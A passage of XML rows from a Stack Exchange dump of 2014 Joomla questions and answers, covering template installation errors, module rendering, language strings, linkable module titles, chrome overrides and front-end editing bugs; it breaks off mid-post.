  <row Id="3753" PostTypeId="2" ParentId="3600" CreationDate="2014-07-25T08:32:25.010" Score="0" Body="&lt;p&gt;My idea would be to add js script with a module called Jumi , set which pages to appear on and the permissions to limit it to editors or administrators only. &#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content/1023&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content/1023&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-07-25T08:32:25.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3754" PostTypeId="1" CreationDate="2014-07-25T09:59:15.530" Score="2" ViewCount="169" Body="&lt;p&gt;Whenever I try to upload a Joomla templage on my site, I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error! Could not find a Joomla! XML setup file in the package.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerDisplayName="chad" LastEditorUserId="142" LastEditDate="2014-07-25T13:58:50.660" LastActivityDate="2014-07-25T13:58:50.660" Title="I could not find joomla .xml file in the package" Tags="|installation|packaging|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3755" PostTypeId="2" ParentId="3754" CreationDate="2014-07-25T13:15:36.097" Score="3" Body="&lt;p&gt;The reason why the error 'cannot find not find XML setup file' appears is because Joomla can not find the TemplateDetails.xml file - because &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have not unzipped the package&lt;/li&gt;&#xA;&lt;li&gt;You're trying to install a template which is a full Joomla!&#xA;installation with sample data.&lt;/li&gt;&#xA;&lt;li&gt;You're trying to install an incompatible template.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Check these, hopefully it helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-25T13:15:36.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3756" PostTypeId="2" ParentId="3754" CreationDate="2014-07-25T13:16:22.853" Score="3" Body="&lt;p&gt;Firstly, check in the Template's folder to make sure templateDetails.xml exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does, make sure the template is for your version of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have uploaded it by ftp, check that you have set the right permissions and/or try uploading by a different method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that fails, try uploading a different template so you can test if it is your specific template where the problem lies.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2014-07-25T13:16:22.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3757" PostTypeId="1" CreationDate="2014-07-25T15:59:15.313" Score="3" ViewCount="839" Body="&lt;p&gt;I am trying to customize the front end features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could easily add the alias field by adding this around line 106 of my override \templates\protostar\html\com_content\form\edit.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('alias'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now I am strugguling to add the association tab and field (like in backend) as well as the the category one. I&quot;ve tried this, but without succes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('associations'); ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('category'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My knowledge of php is quite limited and even a carefull analysis of \administrator\templates\isis\html\com_content\article\edit.php didn't help much (I though frontend and backend editing page would be built the same way but apparently no).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help!&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-07-25T16:14:17.013" Title="Add association tab/field to front end editing page" Tags="|joomla-3.x|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3758" PostTypeId="2" ParentId="3757" CreationDate="2014-07-25T16:14:17.013" Score="2" Body="&lt;p&gt;You are right. Front-end and Back-end models are different. To be precise:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In back-end site, ContentModelArticle is a JModelAdmin&lt;/li&gt;&#xA;&lt;li&gt;In front-end site, ContentModelArticle is a JModelItem&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For instance, in front-end site, the article view has a very different article.xml form than in the back-end site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you can only render those fields. E.g. category should be catid&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-25T16:14:17.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3759" PostTypeId="1" CreationDate="2014-07-25T17:16:08.177" Score="0" ViewCount="128" Body="&lt;p&gt;I would like to change the Tag Search Result page to list the categories containing the articles found by the Tag Search within an accordion menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation: The Categories are the main menu items (without link). All found articles are the submenus (displayed as title) linking to the article in a Modal. Categories without a search result should not be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope everybody understands the idea, anybody has an idea on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="22" LastEditDate="2014-07-25T19:35:24.140" LastActivityDate="2014-08-29T11:38:01.807" Title="Joomla Tag Result Page Accordion" Tags="|tags|view|search|" AnswerCount="1" CommentCount="5" ClosedDate="2014-08-29T18:01:50.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="3760" PostTypeId="1" AcceptedAnswerId="3761" CreationDate="2014-07-26T07:29:08.210" Score="2" ViewCount="692" Body="&lt;p&gt;I was just wondering if there was some PHP that I could add to my template index.php that would ensure only one module is loaded in a particular position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are other options available such as Advanced Module Manager but for this particular site it would be great if I could add some php directly to the page. Basically if there are 2 modules being loaded into one position then I just want the first module to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="387" LastEditorUserId="168" LastEditDate="2014-07-31T07:57:49.010" LastActivityDate="2014-07-31T07:57:49.010" Title="No more than one module in position" Tags="|php|templates|module|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3761" PostTypeId="2" ParentId="3760" CreationDate="2014-07-26T10:49:37.993" Score="2" Body="&lt;p&gt;I have to agree with Lodder's comment... This is not making a real sense and it probably will create confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the sake of answering to your question and to help you find a way to achieve something like this, you could try the approach below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  jimport( 'joomla.application.module.helper' );&#xA;  $modules = JModuleHelper::getModules( 'yourposition' );&#xA;  $attribs = array('style' =&amp;gt; 'xhtml');    &#xA;  echo JModuleHelper::renderModule($modules[0], $attribs);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;getModules($position)&lt;/code&gt; function will load an array with all the modules in your position, ordered by module id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, with the &lt;code&gt;renderModule($module,$attributes)&lt;/code&gt; function, you output the module. But since you have an array, you need to tell which module you will render, by specifying the index of the array's element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because there will still be a dynamic way of creating/editing/changing modules settings, I am not that sure how you could ensure what module will be rendered at the end, in the case that other users will be managing the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you would explain a little bit more what are you trying to achieve and why, we could propose you the right solution.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="1629" LastEditDate="2014-07-27T07:27:33.937" LastActivityDate="2014-07-27T07:27:33.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3762" PostTypeId="2" ParentId="3760" CreationDate="2014-07-26T12:59:42.863" Score="1" Body="&lt;p&gt;Most templates render modules like thus&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this['modules']-&amp;gt;count('search')) : ?&amp;gt;&#xA;&amp;lt;div id=&quot;search&quot;&amp;gt;&amp;lt;?php echo $this['modules']-&amp;gt;render('search'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$this['modules']-&gt;count('search')&lt;/strong&gt; is basically the number of modules so if you had two modules in the search position being rendered on a particular page, the value would be 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build in a simple if $this['modules']-&gt;render('search'); &gt; 1 then echo 'Oly one module allowed in this position' type code in your index file for the template, but this is not really standard and this is not really how Joomla is designed to work, and if its your own website, just make sure you only set one module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a retail template, I can see that particular function causing issues and maybe you should look at coding that particular module position as a slideshow so that it can render multiple modules, but just slides through them in the same space as opposed to rendering them all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-26T12:59:42.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3763" PostTypeId="2" ParentId="3759" CreationDate="2014-07-26T13:03:22.837" Score="2" Body="&lt;p&gt;Not quite the full answer, BUT someone has already started working on this, though not really a rendering of the search page, more of a menu module, but certainly a very nice start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.demo-joomunited.com/tag-transform&quot; rel=&quot;nofollow&quot;&gt;http://www.demo-joomunited.com/tag-transform&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very nice component, with demo video showing its full workings&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-26T13:03:22.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3764" PostTypeId="1" CreationDate="2014-07-26T14:53:31.167" Score="2" ViewCount="108" Body="&lt;p&gt;I'm trying to change the text content of the 'menu item group' name in the Admin backend for my component:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/psfbO.png&quot; alt=&quot;Joomla 3.x menu item selector&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You an see in this image it's set to &lt;strong&gt;milocvs&lt;/strong&gt; (the component I'm building is called &lt;code&gt;com_milocvs&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What JText constant do I need to set, and where (&lt;code&gt;.sys.ini&lt;/code&gt; or &lt;code&gt;.ini&lt;/code&gt;), to change this to be something nicer (e.g. &lt;strong&gt;Milo CVS&lt;/strong&gt;)? I've set the &lt;code&gt;COM_MILOCVS&lt;/code&gt; in both &lt;code&gt;...sys.ini&lt;/code&gt; and &lt;code&gt;...ini&lt;/code&gt; and having looked at the other stock components I can't see anywhere else this would be set.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-07-27T00:23:44.753" Title="What language string determines the 'group name' of menu items for a component?" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3765" PostTypeId="2" ParentId="3764" CreationDate="2014-07-26T16:07:44.623" Score="2" Body="&lt;p&gt;The menutypes view gets the components names from the name column of the extensions table. From your screenshot I can see that in the database the name of your component is given as milocvs, instead of the com_milocvs. That's why the language constant cannot work. &#xA;As for the rest, if you fix the name of the component, a lang constant at the sys.ini file will work for this.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-07-26T16:07:44.623" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3766" PostTypeId="1" AcceptedAnswerId="3770" CreationDate="2014-07-26T19:50:52.063" Score="5" ViewCount="4439" Body="&lt;p&gt;I was searching the internet but without much luck. I need some way to make module titles linkable, and the only thing I found was on Gavick forum archive posted couple of years ago and file doesn't exist anymore. I also didn't find anything in the extension directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I'm tempted to remove &lt;code&gt;htmlspecialchars&lt;/code&gt; from module template but I would be grateful if someone can point me to an extension that can do that in a proper way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2017-11-02T13:28:28.247" Title="Make module titles linkable" Tags="|extensions|module-display|extension-request|module|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3768" PostTypeId="2" ParentId="3766" CreationDate="2014-07-26T22:02:20.860" Score="4" Body="&lt;p&gt;Take a look at something like RokCandy. Rocket Theme uses this in some of their demos to make module titles clickable. I think NoNumber Snippets could probably do the same job. Just create a &quot;formula&quot; that can be placed in the title and it gets replaced with an actual link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to link to a forum post on Rocket Theme's forums, but it requires a login. Let me know if you want me to expound on this answer and I'll try to make an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mixed up Snippets with ReReplacer. I think ReReplacer could still do the job, but Snippets supports variables. In combo with Sourcer it's even more powerful. All of these plugins are from &lt;a href=&quot;http://regularlabs.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://regularlabs.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2017-11-02T13:28:28.247" LastActivityDate="2017-11-02T13:28:28.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3770" PostTypeId="2" ParentId="3766" CreationDate="2014-07-27T00:03:38.393" Score="4" Body="&lt;p&gt;The easiest way to achieve this is to use the free &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/rokcandy&quot; rel=&quot;nofollow&quot;&gt;RokCandy&lt;/a&gt;. Create a new macro with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Macro: &lt;code&gt;[a link=&quot;{link}&quot; target=&quot;{target}&quot;]{text}[/a]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML: &lt;code&gt;&amp;lt;a class=&quot;module-title-link&quot; href=&quot;{link}&quot; target=&quot;_{target}&quot; title=&quot;{text}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your module, add the following as title:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[a link=&quot;http://google.com&quot; target=&quot;blank&quot;]Google[/a]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify the code as needed. You can also style the link using CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.module-title-link {&#xA;  text-decoration:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-07-27T00:03:38.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3772" PostTypeId="1" CreationDate="2014-07-27T16:53:01.447" Score="3" ViewCount="863" Body="&lt;p&gt;Joomla 3.3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no redirects in place, not in the .htaccess or the Joomla redirect component. The problem is that when a user clicks on a tag they are redirected to the wrong article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you click on the tag 'guide' the actual link is &lt;a href=&quot;http://www.mywebsite.com/component/tags/tag/10-guide&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.com/component/tags/tag/10-guide&lt;/a&gt; but the user is redirected to &lt;a href=&quot;http://www.mywebsite.com/10-guide&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.com/10-guide&lt;/a&gt; and this returns a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When other tags are clicked you either get a 404 error or a random article from the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? Has anyone run into this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2015-03-19T09:50:11.170" Title="Tags and SEF URLs - Wrong Page" Tags="|tags|sef|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3773" PostTypeId="1" AcceptedAnswerId="3774" CreationDate="2014-07-27T17:43:29.907" Score="2" ViewCount="758" Body="&lt;p&gt;I am doing some articles editing on the frontend, where I came across an issue. Some of the articles cannot be saved and Joomla returns the message &quot;Field required: Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the articles belong already to their category, but the issue for those specific articles is that the Category Select field is disabled in the form (showing their category- but disabled). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed that the language select is also disabled for those articles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;jform_catid&quot; name=&quot;&quot; class=&quot;inputbox&quot; required=&quot;&quot; aria-required=&quot;true&quot; disabled=&quot;disabled&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could cause the select field to get the disabled attribute for some random articles?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-14T10:11:20.357" Title="Articles Frontend Editing Issue: Field required: Category" Tags="|articles|front-end|editing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3774" PostTypeId="2" ParentId="3773" CreationDate="2014-07-27T19:18:24.060" Score="2" Body="&lt;p&gt;I think I have sorted out the conditions that make this issue appear, although I have not dive into the code yet.&lt;/p&gt;&#xA;&lt;p&gt;Just for information, this is a Joomla 3.3.3 multilingual website.&lt;/p&gt;&#xA;&lt;p&gt;The issue appears when an article has association with the corresponding article of the second language.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone else test to see if he can replicate the issue?&#xA;If I have time, I will try to investigate the code to see if I can come with further information.&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;This proved to be a bug as seen here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/4062&quot; rel=&quot;nofollow noreferrer&quot;&gt;github.com/joomla/joomla-cms/pull/4062&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-14T10:11:20.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3775" PostTypeId="1" CreationDate="2014-07-27T22:03:31.217" Score="3" ViewCount="67" Body="&lt;p&gt;I want to add custom chrome for my modules, and I'd like to take peek at source of standard chrome styles in Joomla but I can't find their location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can help it's much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-07-28T13:10:13.173" Title="Where can I find source for Joomla chrome templates?" Tags="|module-display|module-style|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3776" PostTypeId="2" ParentId="3775" CreationDate="2014-07-27T22:28:10.453" Score="5" Body="&lt;p&gt;Found it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source of joomla chrome styles can be found in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/system/html/modules.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-07-27T22:28:10.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3777" PostTypeId="2" ParentId="3736" CreationDate="2014-07-28T06:55:44.630" Score="0" Body="&lt;p&gt;Thank you all for your answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not the thing i want to know, featured article layout is already sorted as category order. But I want is to add &lt;strong&gt;parent category title&lt;/strong&gt;  over each and every category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @Anibal said, I also think the place is this (image attached).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ebHhb.jpg&quot; alt=&quot;is this the file to edit&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also fond a useful article: &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?p=2541194&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forum.joomla.org/viewtopic.php?p=2541194&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that article it says that I can get &lt;strong&gt;parent category title name&lt;/strong&gt; using &lt;strong&gt;$this-&gt;item-&gt;parent_title&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me how to do it&lt;/p&gt;&#xA;" OwnerUserId="1690" LastEditorUserId="5319" LastEditDate="2016-02-01T11:18:25.567" LastActivityDate="2016-02-01T11:18:25.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3778" PostTypeId="2" ParentId="3709" CreationDate="2014-07-28T09:06:58.983" Score="2" Body="&lt;p&gt;@Peter you can store your custom fields in the images field in the com_content table. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fields name=&quot;images&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;spacer2&quot; type=&quot;spacer&quot; hr=&quot;true&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;test&quot; type=&quot;text&quot; /&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1609" LastActivityDate="2014-07-28T09:06:58.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3779" PostTypeId="2" ParentId="3775" CreationDate="2014-07-28T13:10:13.173" Score="5" Body="&lt;p&gt;To override those defaults you just need to place a file called modules.php in a folder called html in your template, e.g.: &lt;code&gt;/templates/[your default template]/html/modules.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can apply your custom module chrome either by specifying it in index.php of your template or within the module settings.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-07-28T13:10:13.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3781" PostTypeId="2" ParentId="3766" CreationDate="2014-07-28T13:17:36.660" Score="0" Body="&lt;p&gt;Why would you want linkable module titles? Where would the links go?? It just doesn't make any sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this for a specific instance use a custom html module, hide the module title and then place your linked 'title' within the module output, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3 class=&quot;page-header&quot;&amp;gt;&amp;lt;a href=&quot;somewhere-else.html&quot;&amp;gt;I go somewhere else&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-07-28T13:17:36.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3782" PostTypeId="2" ParentId="3766" CreationDate="2014-07-28T14:42:22.017" Score="2" Body="&lt;p&gt;I know this has already been answered but Sourcerer is also excellent! It's free and available here &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used it loads of times to do exactly this. From the website;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sourcerer enables you to place PHP and any kind of HTML style code&#xA;  (including CSS and JavaScript) right into your content! Not only in&#xA;  your articles, but also in sections, categories, modules, components,&#xA;  META tags, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The syntax is pretty simple. Just place {source} and {/source} tags in text area you want the code to appear (like an article or Custom HTML module), and place your code between the tags.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-28T14:42:22.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3783" PostTypeId="1" CreationDate="2014-07-28T14:53:43.103" Score="0" ViewCount="354" Body="&lt;p&gt;In Joomla each page can have page heading and page title both at the same time. I'm very puzzled at why that is so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply don't understand what's page heading supposed to be. Categories have titles, articles have titles, even components. What is possible benefit of having one more title above the content title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would understand if it is some kind of override for article/component title, but it just stands there along with my article title and is usually a higher level heading than regular title so semantically I'm getting uneven and non formalized pages.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-08-10T12:40:45.010" Title="What is the purpose of page heading?" Tags="|articles|template-override|header|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3784" PostTypeId="1" AcceptedAnswerId="3795" CreationDate="2014-07-28T14:56:14.347" Score="1" ViewCount="91" Body="&lt;p&gt;I am looking at taking the featured articles from one Joomla site (via RSS at least) and pulling it into another Joomla site (or more). The only problem is that I require the featured article's image to appear alongside with the articles, which of course will not appear in the RSS, just the content itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to override &lt;code&gt;com_content&lt;/code&gt;'s feed view so then it is either in the format that I want it to be in on the second site, or is there yet another method (like an API) that could be used for pulling in that content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I did look at &lt;a href=&quot;http://community.joomla.org/blogs/community/521-did-you-know-overrides-are-not-just-for-html.html&quot; rel=&quot;nofollow&quot;&gt;the Joomla! community blog article on overriding code&lt;/a&gt;, but it is from about 5 years ago&lt;/p&gt;&#xA;" OwnerUserId="1670" LastEditorUserId="1670" LastEditDate="2014-07-28T15:10:08.257" LastActivityDate="2018-01-10T02:59:21.300" Title="Pulling featured articles from another remote Joomla install with images via RSS or otherwise" Tags="|joomla-3.x|overrides|view|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3785" PostTypeId="2" ParentId="3783" CreationDate="2014-07-28T15:56:40.790" Score="2" Body="&lt;p&gt;It is there and you can use it as per your needs and in combination with other options, like show title, category title, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me it adds flexibility. It is good to have it there by default, because there are so many scenarios that something like this might be needed and it adds extra control and options. I remember once I was working on another e-commerce platform and needed something like this for the categories pages. I had to create it. If also Joomla didn't provide this, I am afraid that I would have to add this almost in every website I build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notice that:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If and how both of these will print in the html, depends on the template and any possible component overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases (templates), the article title prints within an &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;, while the page heading prints within an &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have then the possibility to set the article title to not be displayed and use the page heading from the menu item, to create your desired SEO title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also useful for categories pages, where your categories may have short titles, but you can set a Longer SEO optimized title for the page heading, as well as for other components where you can create a unique page heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, it is wise (SEO concerning) to check how a template through its overrides uses and prints them, and adjust your settings / workflow, or modify the overrides to achieve the best possible combination for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need it, just don't use it. It is not necessary that everyone will use each joomla feature on every site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is also about titles and headings, and you might find useful the information provided there...&lt;a href=&quot;https://joomla.stackexchange.com/questions/2355/how-to-change-the-title-tag/2358#2358&quot;&gt;How to change the title tag?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-08-10T12:40:45.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3786" PostTypeId="1" CreationDate="2014-07-28T17:02:56.277" Score="3" ViewCount="194" Body="&lt;p&gt;I am deveoping a small plugin that needs to alter the registration and comment forms to add 4 hidden fields that have data inside that I gather from the configuration panel, and when the form is submitted, a js onlick event must be called to send those 4 hidden field data (it's a tracking software similar to google analytics).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've built the xml manifest and xml field structure following &lt;a href=&quot;http://library.logicsistemi.it/en/joomla/general-topics/40-joomla-25-extending-users-data-with-custom-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt; and &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt; tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first issue is that the fields are hidden, so the data is not entered by the user. I need to fill those fields data 